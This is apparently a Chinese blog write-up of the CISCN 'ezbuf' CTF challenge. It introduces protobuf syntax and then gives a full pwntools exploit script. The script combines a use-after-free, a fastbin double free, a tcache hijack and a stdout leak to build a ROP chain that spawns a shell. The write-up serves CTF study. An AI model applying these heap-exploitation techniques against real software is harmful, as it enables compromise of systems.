Protobuf 笑传之 ccb领域大神

国赛和CCB真的好喜欢出Protobuf的题,简单学一下吧。

这种题目与常规的Pwn题利用相比,只是多套了一层Protobuf的Unpack操作。你可以理解为PHP的序列化和反序列化,是为了方便数据传输。

typedef enum {
 PROTOBUF_C_TYPE_INT32,   0   /**< int32 */
 PROTOBUF_C_TYPE_SINT32,  1   /**< signed int32 */
 PROTOBUF_C_TYPE_SFIXED32, 2  /**< signed int32 (4 bytes) */
 PROTOBUF_C_TYPE_INT64,   3   /**< int64 */
 PROTOBUF_C_TYPE_SINT64,  4   /**< signed int64 */
 PROTOBUF_C_TYPE_SFIXED64, 5  /**< signed int64 (8 bytes) */
 PROTOBUF_C_TYPE_UINT32,   6  /**< unsigned int32 */
 PROTOBUF_C_TYPE_FIXED32,  7  /**< unsigned int32 (4 bytes) */
 PROTOBUF_C_TYPE_UINT64,   8  /**< unsigned int64 */
 PROTOBUF_C_TYPE_FIXED64, 9   /**< unsigned int64 (8 bytes) */
 PROTOBUF_C_TYPE_FLOAT,   10   /**< float */
 PROTOBUF_C_TYPE_DOUBLE,   11  /**< double */
 PROTOBUF_C_TYPE_BOOL,   12    /**< boolean */
 PROTOBUF_C_TYPE_ENUM,   13  /**< enumerated type */
 PROTOBUF_C_TYPE_STRING,  14   /**< UTF-8 or ASCII string */
 PROTOBUF_C_TYPE_BYTES,   15   /**< arbitrary byte sequence */
 PROTOBUF_C_TYPE_MESSAGE,  16   /**< nested message */
} ProtobufCType;

基本语法

官方文档给出的例子:

// demo.proto
syntax = "proto3";

package tutorial;

message Person {
  string name = 1;
  int32 id = 2;
  string email = 3;

  enum PhoneType {
    PHONE_TYPE_UNSPECIFIED = 0;
    PHONE_TYPE_MOBILE = 1;
    PHONE_TYPE_HOME = 2;
    PHONE_TYPE_WORK = 3;
  }

  message PhoneNumber {
    string number = 1;
    PhoneType type = 2;
  }

  repeated PhoneNumber phones = 4;
}

message AddressBook {
  repeated Person people = 1;
}

syntax

syntax指明protobuf的版本,有proto2和proto3两个版本,省略默认为proto2。

syntax = “proto2”;
syntax = “proto3”;

package

package可以防止命名空间冲突,简单的项目中可以省略。

package tutorial;

message

message用于定义消息结构体,类似C语言中的struct。

每个字段包括修饰符 类型 字段名,并且末尾通过等号设置唯一字段编号。

修饰符包括如下几种:

  • optional:可以不提供字段值,字段将被初始化为默认值。(Proto3中不允许显示声明,不加修饰符即optional)
  • repeated:类似vector,表明该字段为动态数组,可重复任意次。
  • required:必须提供字段值。(Proto3不再支持required)

CISCN-ezbuf

需要我们首先写出proto文件,然后用工具构建出py文件

可以有两种方法构建py文件,第一个是先自己写proto文件,根据proto文件生成对应的c或py文件

protoc --c_out=. demo.proto

protoc --python_out=. demo.proto

或者直接使用0psu3战队分享的脚本:https://bbs.kanxue.com/thread-285969.htm

生成的py文件如下:

# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler.  DO NOT EDIT!
# source: ctf.proto
"""Generated protocol buffer code."""
from google.protobuf.internal import builder as _builder
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)

_sym_db = _symbol_database.Default()




DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\tctf.proto\x12\x06heybro\"a\n\x06Heybro\x12\x0f\n\x07whatcon\x18\x01 \x01(\x0c\x12\x10\n\x08whattodo\x18\x02 \x01(\x12\x12\x0f\n\x07whatidx\x18\x03 \x01(\x12\x12\x10\n\x08whatsize\x18\x04 \x01(\x12\x12\x11\n\twhatsthis\x18\x05 \x01(\rb\x06proto3')

_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals())
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'ctf_pb2', globals())
if _descriptor._USE_C_DESCRIPTORS == False:

  DESCRIPTOR._options = None
  _HEYBRO._serialized_start=21
  _HEYBRO._serialized_end=118
# @@protoc_insertion_point(module_scope)

然后把这个文件导入exp即可。

使用方法如下所示:

from pwn import *
import ctf_pb2

msg = ctf_pb2.Heybro()
msg.whattodo = 1
msg.whatcon = b'1'
msg.whatidx = 1
msg.whatsize = 1
msg.whatsthis = 1

print(msg.SerializeToString())

SerializeToString()就是对这个结构体进行序列化。ParseFromString是反序列化函数。

程序先读入了一段数据,然后调用sub_1C87对数据进行处理(解包/反序列化)

然后通过sub_1934函数来执行对应的操作,其中whattodo是switch判断的参数,whatcon是传输的数据,whatidx是堆块的索引,whatsize和whatsthis没什么用其实。

add函数:

创建堆块,然后把a3的值copy到刚刚创建的堆块里面。限制了size为0x30

delete函数:

有uaf漏洞。

show函数:

打印堆块内容,根据a2、a3来执行一些操作,当a2等于0xff时会加沙箱,那我们不加就好了。

这题由于前期调用了很多沙箱的函数导致程序中已经有了很多堆块,首先我们根据smallbin泄露出libc基址,然后tcachebin泄露堆基址,然后fastbin double free申请到tcache结构体去修改里面的内容。

通过调试我们知道,程序在unpack的时候会给每段数据创建一个堆块,其中我们可以控制content的内容来实现申请任意大小的堆块。

我们将tcache结构体中的0xe0对应的堆块基址修改为heapbase+0x10,然后在我们后面申请0xd0的时候就会申请出来heapbase+0x10,这个时候我们就可以任意修改tcache结构体了。(参考wolfs)

接着我们去修改0x40的为stdout,然后申请出来,将对应的地址修改并泄露environ的内容(参考blue),这里面有stack的地址,计算出来函数的返回地址,然后再次修改tcache结构体申请到返回地址,写入ROP链即可。

注意这里的返回地址指的是子函数的返回地址,不能覆盖main函数的,main函数永远也执行不到返回地址。(申请堆块的时候注意malloc的检查,tcache的数量不为0时才能申请出来,而且还有地址对应的值也要符合要求,可以是0)

from pwn import *
import ctf_pb2

context(os="linux",arch="amd64",log_level="debug")
p = process("./pwn")
libc = ELF("/home/kali/glibc-all-in-one-master/libs/2.35-0ubuntu3.8_amd64/libc.so.6")
#gdb.attach(p, "b*$rebase(0x199c)")
msg = ctf_pb2.Heybro()
def test():
    msg.whattodo = 1
    msg.whatcon = b'1'
    msg.whatidx = 1
    msg.whatsize = 1
    msg.whatsthis = 1
    print(msg.SerializeToString())
test()

def clear(data):
    msg = ctf_pb2.Heybro()
    msg.whattodo = 0
    msg.whatcon = data
    msg.whatidx = 0
    msg.whatsize = 0
    msg.whatsthis = 0
    p.sendafter("WHAT DO YOU WANT?", msg.SerializeToString())

def add(idx, data):
    msg = ctf_pb2.Heybro()
    msg.whattodo = 1
    msg.whatcon = data
    msg.whatidx = idx
    msg.whatsize = 0
    msg.whatsthis = 0
    p.sendafter("WHAT DO YOU WANT?", msg.SerializeToString())

def free(idx):
    msg = ctf_pb2.Heybro()
    msg.whattodo = 2
    msg.whatcon = b""
    msg.whatidx = idx
    msg.whatsize = 0
    msg.whatsthis = 0
    p.sendafter("WHAT DO YOU WANT?", msg.SerializeToString())

def show(idx):
    msg = ctf_pb2.Heybro()
    msg.whattodo = 3
    msg.whatcon = b""
    msg.whatidx = idx
    msg.whatsize = 0
    msg.whatsthis = 0
    p.sendafter("WHAT DO YOU WANT?", msg.SerializeToString())
#gdb.attach(p, "b*$rebase(0x16CA)")
for i in range(9):
    add(i, b"a")
show(0)
p.recvuntil("Content:")
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - (0x7f6bf141ac61-0x7f6bf1200000)
print("libc_base >>> " + hex(libc_base))

free(0)
free(1)
show(0)
p.recvuntil("Content:")
heap_base = (u64(p.recv(5).ljust(8,b"\x00")) << 12) - 0x2000
print("heap_base >>>" + hex(heap_base))
key = (heap_base >> 12) + 4
print("key >>>" + hex(key))
environ = libc_base + libc.sym['environ']
IO_2_1_stdout = libc_base + libc.sym['_IO_2_1_stdout_']
print(hex(IO_2_1_stdout))

for i in range(5):
    free(2+i)

free(7)
free(8)
free(7)

for i in range(7):
    add(i, b"a")

add(7,p64((heap_base+0xe0) ^ key))
add(8,b"a")
add(8,b"a")

add(8,b"\x00"*0x8+p64(heap_base+0x10))#申请0xe0的时候会出来(protobuf会先根据con的size申请一个堆块存储数据)
payload = p16(0)*2 + p16(7) + p16(1)#0x8
payload += p16(1) * 7 + p16(7) #0x10
payload += p64(0) * 15 #0x78
payload += p64(IO_2_1_stdout) + p64(IO_2_1_stdout) + p64(heap_base+0xa0) * 4

clear(payload)

#show(8)
payload = p64(0xFBAD1800) + p64(0) * 3 + p64(environ) + p64(environ+8)
clear(payload)
stack = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print(hex(stack))
ret = stack - 0x1a8 + 0x40
# add(8,payload)
payload = p64(ret)+p64(0)*10
clear(payload)
#gdb.attach(p)
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
ret_addr =libc_base +0x000000000002a3e6
rdi_ret = libc_base +0x000000000002a3e5
payload = p64(0)+p64(ret_addr) + p64(rdi_ret) + p64(binsh_addr)+p64(system_addr)+p64(0)
clear(payload)

#gdb.attach(p)
p.interactive()

参考:

https://bbs.kanxue.com/thread-282203-1.htm

接下来尝试复现一下CCB Half-Final的Prompt,也是一道protobuf的题目。

(在复现了在复现了😣)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇